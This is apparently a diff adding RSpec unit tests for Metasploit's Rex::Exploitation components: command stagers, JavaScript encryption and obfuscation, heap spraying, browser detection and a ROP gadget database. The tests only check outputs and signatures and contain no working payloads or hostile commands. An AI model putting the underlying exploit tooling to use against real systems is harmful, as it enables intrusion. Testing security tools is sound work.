# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerBourne do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns ;" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerCertutil do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerDebugAsm do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns &" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" & ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
let(:opts) do
|
||||
{
|
||||
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")
|
||||
}
|
||||
end
|
||||
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate(opts)
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerDebugWrite do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns &" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" & ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
let(:opts) do
|
||||
{
|
||||
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")
|
||||
}
|
||||
end
|
||||
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate(opts)
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerEcho do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns ;" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerPrintf do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns ;" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerTFTP do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns nil" do
|
||||
expect(cmd_stager.cmd_concat_operator).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/cmdstager'
|
||||
|
||||
RSpec.describe Rex::Exploitation::CmdStagerVBS do
|
||||
|
||||
let(:exe) { "MZ" }
|
||||
|
||||
subject(:cmd_stager) do
|
||||
described_class.new(exe)
|
||||
end
|
||||
|
||||
describe '#cmd_concat_operator' do
|
||||
it "returns &" do
|
||||
expect(cmd_stager.cmd_concat_operator).to eq(" & ")
|
||||
end
|
||||
end
|
||||
|
||||
describe '#generate' do
|
||||
let(:opts) do
|
||||
{
|
||||
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
|
||||
}
|
||||
end
|
||||
|
||||
it "returns an array of commands" do
|
||||
result = cmd_stager.generate(opts)
|
||||
|
||||
expect(result).to be_kind_of(Array)
|
||||
expect(result).to_not be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/encryptjs'
|
||||
|
||||
RSpec.describe Rex::Exploitation::EncryptJS do
|
||||
|
||||
let(:code) { "var test = 'metasploit';" }
|
||||
let(:key) { 'secret' }
|
||||
let(:signature) { 'metasploit' }
|
||||
let(:loader_signature) { 'location.search.substring(1);' }
|
||||
let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] }
|
||||
|
||||
describe ".encrypt" do
|
||||
it "returns an String" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String)
|
||||
end
|
||||
|
||||
it "returns the JavaScript loader code" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature)
|
||||
end
|
||||
|
||||
it "encrypts the code" do
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature)
|
||||
end
|
||||
|
||||
it "obfuscates the loader" do
|
||||
loader_key_words.each do |key_word|
|
||||
expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/exploitation/heaplib'
|
||||
|
||||
RSpec.describe Rex::Exploitation::HeapLib do
|
||||
|
||||
let(:custom_code) { "var test = 'metasploit';" }
|
||||
let(:plain_signature) { 'JavaScript Heap Exploitation library' }
|
||||
let(:signature) { 'function(maxAlloc, heapBase)' }
|
||||
let(:methods) {
|
||||
[
|
||||
'lookasideAddr',
|
||||
'lookaside',
|
||||
'flushOleaut32',
|
||||
'freeOleaut32',
|
||||
'allocOleaut32',
|
||||
'paddingStr',
|
||||
'debugBreak',
|
||||
'debugHeap'
|
||||
]
|
||||
}
|
||||
|
||||
subject(:heap_lib_class) do
|
||||
described_class.allocate
|
||||
end
|
||||
|
||||
subject(:heap_lib) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
describe "#initialize" do
|
||||
it "returns an String" do
|
||||
expect(heap_lib_class.send(:initialize)).to be_a(String)
|
||||
end
|
||||
|
||||
it "returns the heap lib code" do
|
||||
expect(heap_lib_class.send(:initialize)).to include(signature)
|
||||
end
|
||||
|
||||
it "obfuscates with ObfuscateJS by default" do
|
||||
methods.each do |m|
|
||||
expect(heap_lib_class.send(:initialize)).to_not include(m)
|
||||
end
|
||||
end
|
||||
|
||||
it "allows to provide custom JS code as argument" do
|
||||
expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code)
|
||||
end
|
||||
|
||||
it "allows to disable obfuscation" do
|
||||
expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature)
|
||||
end
|
||||
|
||||
it "allows to use JSObfu for obfuscation" do
|
||||
expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature)
|
||||
end
|
||||
end
|
||||
|
||||
describe "#to_s" do
|
||||
it "returns the heap lib js code" do
|
||||
expect(heap_lib.to_s).to include(signature)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
require 'rex/exploitation/js'
|
||||
|
||||
RSpec.describe Rex::Exploitation::Js::Detect do
|
||||
|
||||
context "Class methods" do
|
||||
|
||||
context ".os" do
|
||||
it "should load the OS detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.os.to_s
|
||||
expect(js).to match /os_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".ie_addons" do
|
||||
it "should load the IE Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
|
||||
expect(js).to match /ie_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".misc_addons" do
|
||||
it "should load the misc Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
|
||||
expect(js).to match /misc_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,30 @@
|
|||
require 'rex/exploitation/js'
|
||||
|
||||
RSpec.describe Rex::Exploitation::Js::Memory do
|
||||
|
||||
context "Class methods" do
|
||||
|
||||
context ".mstime_malloc" do
|
||||
it "should load the mstime_malloc javascript" do
|
||||
js = Rex::Exploitation::Js::Memory.mstime_malloc
|
||||
expect(js).to match /function mstime_malloc/
|
||||
end
|
||||
end
|
||||
|
||||
context ".property_spray" do
|
||||
it "should load the property_spray javascript" do
|
||||
js = Rex::Exploitation::Js::Memory.property_spray
|
||||
expect(js).to match /function sprayHeap/
|
||||
end
|
||||
end
|
||||
|
||||
context ".heap_spray" do
|
||||
it "should load the heap_spray javascript" do
|
||||
js = Rex::Exploitation::Js::Memory.heap_spray
|
||||
expect(js).to match /function sprayHeap/
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
require 'rex/exploitation/js'
|
||||
|
||||
RSpec.describe Rex::Exploitation::Js::Network do
|
||||
|
||||
context "Class methods" do
|
||||
|
||||
context ".ajax_download" do
|
||||
it "should load the ajax_download javascript" do
|
||||
js = Rex::Exploitation::Js::Network.ajax_download
|
||||
expect(js).to match /function ajax_download/
|
||||
end
|
||||
end
|
||||
|
||||
context ".ajax_post" do
|
||||
it "should load the postInfo javascript" do
|
||||
js = Rex::Exploitation::Js::Network.ajax_post
|
||||
expect(js).to match /function postInfo/
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,16 @@
|
|||
require 'rex/exploitation/js'
|
||||
|
||||
RSpec.describe Rex::Exploitation::Js::Utils do
|
||||
|
||||
context "Class methods" do
|
||||
|
||||
context ".base64" do
|
||||
it "should load the base64 javascript" do
|
||||
js = Rex::Exploitation::Js::Utils.base64
|
||||
expect(js).to match /encode : function/
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
require 'spec_helper'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
RSpec.describe Rex::Exploitation::JSObfu do
|
||||
TEST_JS = %Q|
|
||||
function x() {
|
||||
alert('1');
|
||||
};
|
||||
|
||||
x();
|
||||
|
|
||||
|
||||
subject(:jsobfu) do
|
||||
described_class.new(TEST_JS)
|
||||
end
|
||||
|
||||
describe '#obfuscate' do
|
||||
|
||||
it 'returns a #to_s object' do
|
||||
expect(jsobfu.obfuscate.to_s).to be_a(String)
|
||||
end
|
||||
|
||||
it 'returns a non-empty String' do
|
||||
expect(jsobfu.obfuscate.to_s).not_to be_empty
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,85 @@
|
|||
require 'rex/exploitation/ropdb'
|
||||
|
||||
RSpec.describe Rex::Exploitation::RopDb do
|
||||
|
||||
subject(:ropdb) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
context "Class methods" do
|
||||
|
||||
context ".initialize" do
|
||||
it "should initialize with a path of the ROP database ready" do
|
||||
expect(ropdb.instance_variable_get(:@base_path)).to match /data\/ropdb\/$/
|
||||
end
|
||||
end
|
||||
|
||||
context ".has_rop?" do
|
||||
it "should find the msvcrt ROP database" do
|
||||
expect(ropdb.has_rop?("msvcrt")).to be_truthy
|
||||
end
|
||||
|
||||
it "should find the java ROP database" do
|
||||
expect(ropdb.has_rop?("java")).to be_truthy
|
||||
end
|
||||
|
||||
it "should find the hxds ROP database" do
|
||||
expect(ropdb.has_rop?("hxds")).to be_truthy
|
||||
end
|
||||
|
||||
it "should find the flash ROP database" do
|
||||
expect(ropdb.has_rop?("flash")).to be_truthy
|
||||
end
|
||||
|
||||
it "should return false when I supply an invalid database" do
|
||||
expect(ropdb.has_rop?("sinn3r")).to be_falsey
|
||||
end
|
||||
end
|
||||
|
||||
context ".select_rop" do
|
||||
it "should return msvcrt gadgets" do
|
||||
gadgets = ropdb.select_rop('msvcrt')
|
||||
expect(gadgets.length).to be > 0
|
||||
end
|
||||
|
||||
it "should return msvcrt gadgets for windows server 2003" do
|
||||
gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'})
|
||||
expect(gadgets.length).to be > 0
|
||||
end
|
||||
|
||||
it "should return msvcrt gadgets with a new base" do
|
||||
gadgets1 = ropdb.select_rop('msvcrt')
|
||||
gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000})
|
||||
|
||||
expect(gadgets2[0]).not_to eq(gadgets1[0])
|
||||
end
|
||||
end
|
||||
|
||||
context ".generate_rop_payload" do
|
||||
it "should generate my ROP payload" do
|
||||
expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to match /AAAA$/
|
||||
end
|
||||
|
||||
it "should generate my ROP payload with my stack pivot" do
|
||||
expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to match /^BBBB/
|
||||
end
|
||||
end
|
||||
|
||||
context ".get_safe_size" do
|
||||
it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do
|
||||
expect(ropdb.send(:get_safe_size, 304)).to eq(0xfffffed0)
|
||||
end
|
||||
|
||||
it "should return 0xfffffeff (value is modified to avoid null bytes)" do
|
||||
expect(ropdb.send(:get_safe_size, 256)).to eq(0xfffffeff)
|
||||
end
|
||||
end
|
||||
|
||||
context ".get_unsafe_size" do
|
||||
it "should return 0xfffffc00 (contains a null byte)" do
|
||||
expect(ropdb.send(:get_unsafe_size, 1024)).to eq(0xfffffc00)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue